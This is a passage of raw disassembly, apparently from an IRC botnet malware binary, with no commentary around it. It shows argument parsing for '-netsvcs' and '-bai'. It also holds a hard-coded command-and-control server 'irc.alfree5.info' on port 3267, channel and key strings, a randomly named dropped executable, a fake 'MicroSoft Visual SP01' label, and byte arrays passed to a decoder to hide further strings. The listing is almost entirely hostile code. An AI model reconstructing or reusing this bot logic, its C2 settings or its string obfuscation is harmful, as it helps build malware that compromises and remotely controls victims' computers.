loc_406DEE add eax, 2 add esi, 2 test cl, cl jnz short loc_406DCA loc_406DEA: ; CODE XREF: ___:00406DD4j xor eax, eax jmp short loc_406DF3 ; --------------------------------------------------------------------------- loc_406DEE: ; CODE XREF: ___:00406DD0j ; ___:00406DDEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DF3: ; CODE XREF: ___:00406DECj test eax, eax jnz short loc_406E00 mov byte ptr [ebx+9], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E00: ; CODE XREF: ___:00406DF5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406E07: ; CODE XREF: ___:00406E25j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E2B test cl, cl jz short loc_406E27 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E2B add eax, 2 add esi, 2 test cl, cl jnz short loc_406E07 loc_406E27: ; CODE XREF: ___:00406E11j xor eax, eax jmp short loc_406E30 ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: ___:00406E0Dj ; ___:00406E1Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E30: ; CODE XREF: ___:00406E29j test eax, eax jnz short loc_406E3D mov byte ptr [ebx+0Ah], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E3D: ; CODE XREF: ___:00406E32j mov esi, offset aBai ; "-bai" mov eax, edi loc_406E44: ; CODE XREF: ___:00406E62j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E68 test cl, cl jz short loc_406E64 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E68 add eax, 2 add esi, 2 test cl, cl jnz short loc_406E44 loc_406E64: ; CODE XREF: ___:00406E4Ej xor eax, eax jmp short loc_406E6D ; --------------------------------------------------------------------------- loc_406E68: ; CODE XREF: ___:00406E4Aj ; ___:00406E58j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E6D: ; CODE XREF: ___:00406E66j test eax, eax jnz loc_406F58 lea ecx, [esp+10h] call sub_40142E mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406F44 push eax lea ecx, [esp+14h] call sub_4015E1 push 1 push offset asc_444600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_448F40 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406F44 push 1 push offset asc_444600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_40168B push eax lea eax, [ebx+0Ch] push eax call near ptr 77C47A90h nop add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406F44: ; CODE XREF: ___:00406EA1j ; ___:00406EF1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F58: ; CODE XREF: ___:00406DBDj ; ___:00406DFBj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D88 xor ecx, ecx loc_406F68: ; CODE XREF: ___:00406D7Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F75 mov [ebx+5], ecx loc_406F75: ; CODE XREF: ___:00406F70j cmp [ebx+5], ecx jnz short loc_406F85 test al, al jz short loc_406F85 mov dword ptr [ebx+5], 0Ah loc_406F85: ; CODE XREF: ___:00406F78j ; ___:00406F7Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) byte_406FB0 db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407080 proc near ; CODE XREF: sub_4020BDj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407080 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_40156E sub_407080 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43F00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407100 proc near ; CODE XREF: sub_40159Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015E1 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014EC sub_407100 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407140 proc near ; CODE XREF: sub_401B04j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AD7 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40162C mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jz short loc_4071BB mov edi, [esp+10h+arg_0] loc_407183: ; CODE XREF: sub_407140+79j push edi lea ecx, [esp+14h+var_8] call sub_401749 mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_4071C5 call sub_401F28 lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jnz short loc_407183 loc_4071BB: ; CODE XREF: sub_407140+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_4071C5: ; CODE XREF: sub_407140+5Aj call sub_401749 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_407140 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407210 proc near ; CODE XREF: sub_40221Bj xor al, al retn 4 sub_407210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407230 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_407230 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407270 proc near ; CODE XREF: sub_40162Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401A96 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4021A8 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_407270 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072B0 proc near ; CODE XREF: sub_4021DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4021A8 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_4072B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4072E0 proc near ; CODE XREF: sub_4014ECj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021DF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_4072E0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407320 proc near ; CODE XREF: sub_401AD7j push esi mov esi, ecx call sub_401B77 mov eax, esi pop esi retn sub_407320 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_401749j mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_407340 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407360 proc near ; CODE XREF: sub_401F28j push esi mov esi, ecx mov eax, [esi] push eax call sub_401A96 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407360 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407390 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FBE neg al sbb eax, eax inc eax retn 4 sub_407390 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4073C0 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C9E mov edi, eax push edi call sub_401C6C mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_4073C0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C6C push edi mov [eax], ebx call sub_401C6C mov edi, [eax] push edi call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_40167C mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4021A8 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407460 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019D8 sub_407460 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407475 mov edi, esi loc_407475: ; CODE XREF: ___:00407471j push esi call sub_401A96 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40748A mov edi, esi loc_40748A: ; CODE XREF: ___:00407486j push esi call sub_401C6C add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074B0 proc near ; CODE XREF: sub_401A96j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_4074B0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074D0 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4074D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401B77j mov eax, ecx retn sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407510 proc near ; CODE XREF: sub_4021A8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_407510 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407540 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_407540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407590 proc near ; CODE XREF: sub_4019D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_407590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_40167Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075F0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075F0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_401C9Ej mov eax, [ecx] retn sub_407610 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407630 proc near ; CODE XREF: sub_401D2Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40763A xor eax, eax loc_40763A: ; CODE XREF: sub_407630+6j push eax call sub_437AEA sub_407630 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407660 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40767B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40767B: ; CODE XREF: sub_407660+11j retn sub_407660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407690 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076B0 proc near ; CODE XREF: sub_401B40j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076B0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017EE push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_44ACE6 call sub_401B72 sub_4076B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407740 proc near ; CODE XREF: sub_401CD5j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407740 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+20h+arg_4] call sub_4017EE push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_44ACE6 call sub_401B72 sub_407740 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4077E0 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4077E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_2C4] call sub_40142E lea ecx, [esp+35Ch+var_2DC] mov [esp+35Ch+var_4], 0 call sub_40142E lea ecx, [esp+35Ch+var_174] mov byte ptr [esp+35Ch+var_4], 1 call sub_40142E lea ecx, [esp+35Ch+var_1A4] mov byte ptr [esp+35Ch+var_4], 2 call sub_40142E lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 3 call sub_40142E lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 4 call sub_40142E lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 5 call sub_40142E lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 6 call sub_40142E lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 7 call sub_40142E lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_40142E lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_40142E lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_40142E lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_40142E lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_40142E lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_40142E lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_40142E lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_40142E lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 10h call sub_40142E lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 11h call sub_40142E mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_18C] call sub_40142E lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 13h call sub_40142E lea ecx, [esp+35Ch+var_1BC] mov byte ptr [esp+35Ch+var_4], 14h call sub_40142E lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 15h call sub_40142E lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 16h call sub_40142E lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 17h call sub_40142E lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 18h call sub_40142E lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 19h call sub_40142E lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_40142E lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_40142E lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_40142E lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_40142E mov ebx, 1Eh push offset aIrc_alfree5_in ; "irc.alfree5.info" lea ecx, [esp+360h+var_2C4] mov byte ptr [esp+360h+var_4], bl call sub_401A9B push offset a3267 ; "3267" lea ecx, [esp+360h+var_2DC] call sub_401A9B push offset byte_448F40 lea ecx, [esp+360h+var_144] call sub_401A9B lea eax, [esp+35Ch+var_2C4] lea ecx, [esp+35Ch+var_174] push eax call sub_40202C lea ecx, [esp+35Ch+var_2DC] push ecx lea ecx, [esp+360h+var_1A4] call sub_40202C push offset byte_448F40 lea ecx, [esp+360h+var_1BC] call sub_401A9B push offset aFor_0 ; "##for##" lea ecx, [esp+360h+var_2AC] call sub_401A9B push offset aFor ; "##for" lea ecx, [esp+360h+var_24C] call sub_401A9B push offset aXkey ; "Xkey" lea ecx, [esp+360h+var_2F4] call sub_401A9B push offset aIgfsfdfsd3sda2 ; "igfsfdfsd3sda2ss.exe" lea ecx, [esp+360h+var_1D4] call sub_401A9B push offset aAyssds4ddklfsd ; "ayssds4ddklfsdsdsfssas" lea ecx, [esp+360h+var_204] call sub_401A9B push offset asc_444834 ; "X-" lea ecx, [esp+360h+var_294] call sub_401A9B push offset aSet ; "set" lea ecx, [esp+360h+var_234] call sub_401A9B push 0 push 4Ah push 20h push 48h push 1Ch push 4Bh push 46h push 4Ah push 46h push 47h push 4Ch push 1Fh push 48h push 1Fh push ebx push 1Bh push 1Dh push 47h push 4Bh push 47h push ebx push 45h push 46h push 4Ah push 48h push ebx push 1Dh push 1Ch push 4Ah push 20h push 4Ch push 4Dh lea edx, [esp+3DCh+var_348] push 44h push edx call sub_4019C4 add esp, 88h push eax lea ecx, [esp+360h+var_264] mov byte ptr [esp+360h+var_4], 1Fh call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push offset aFeeling_nasty ; "feeling.nasty" lea ecx, [esp+360h+var_E4] call sub_401A9B push offset aEvil ; "evil" lea ecx, [esp+360h+var_15C] call sub_401A9B push offset aMicrosoftVisua ; "MicroSoft Visual SP01" lea ecx, [esp+360h+var_114] call sub_401A9B push offset dword_4447F8 lea ecx, [esp+360h+var_27C] call sub_401A9B push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019C4 add esp, 30h push eax lea ecx, [esp+360h+var_18C] mov byte ptr [esp+360h+var_4], 20h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 0Dh push 0Fh push 3 push 4Fh push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 45h push 19h push 14h push 0Fh push 2 push 12h lea ecx, [esp+3B0h+var_348] push 13h push ecx call sub_4019C4 add esp, 5Ch push eax lea ecx, [esp+360h+var_1EC] mov byte ptr [esp+360h+var_4], 21h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_CC] mov byte ptr [esp+360h+var_4], 22h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 23h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea ecx, [esp+368h+var_348] push 46h push ecx call sub_4019C4 add esp, 14h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 24h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 25h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 26h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019C4 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 27h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2F4] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 mov byte ptr [esp+398h+var_4], 28h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 29h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401870 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 2Ah call sub_401CD5 sub_4077E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 2Bh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Ch call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1035h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Dh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Eh call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Fh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 30h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh mov byte ptr [esp+398h], 31h push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 32h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr [esp+38Ch], 33h call sub_401CD5 ; 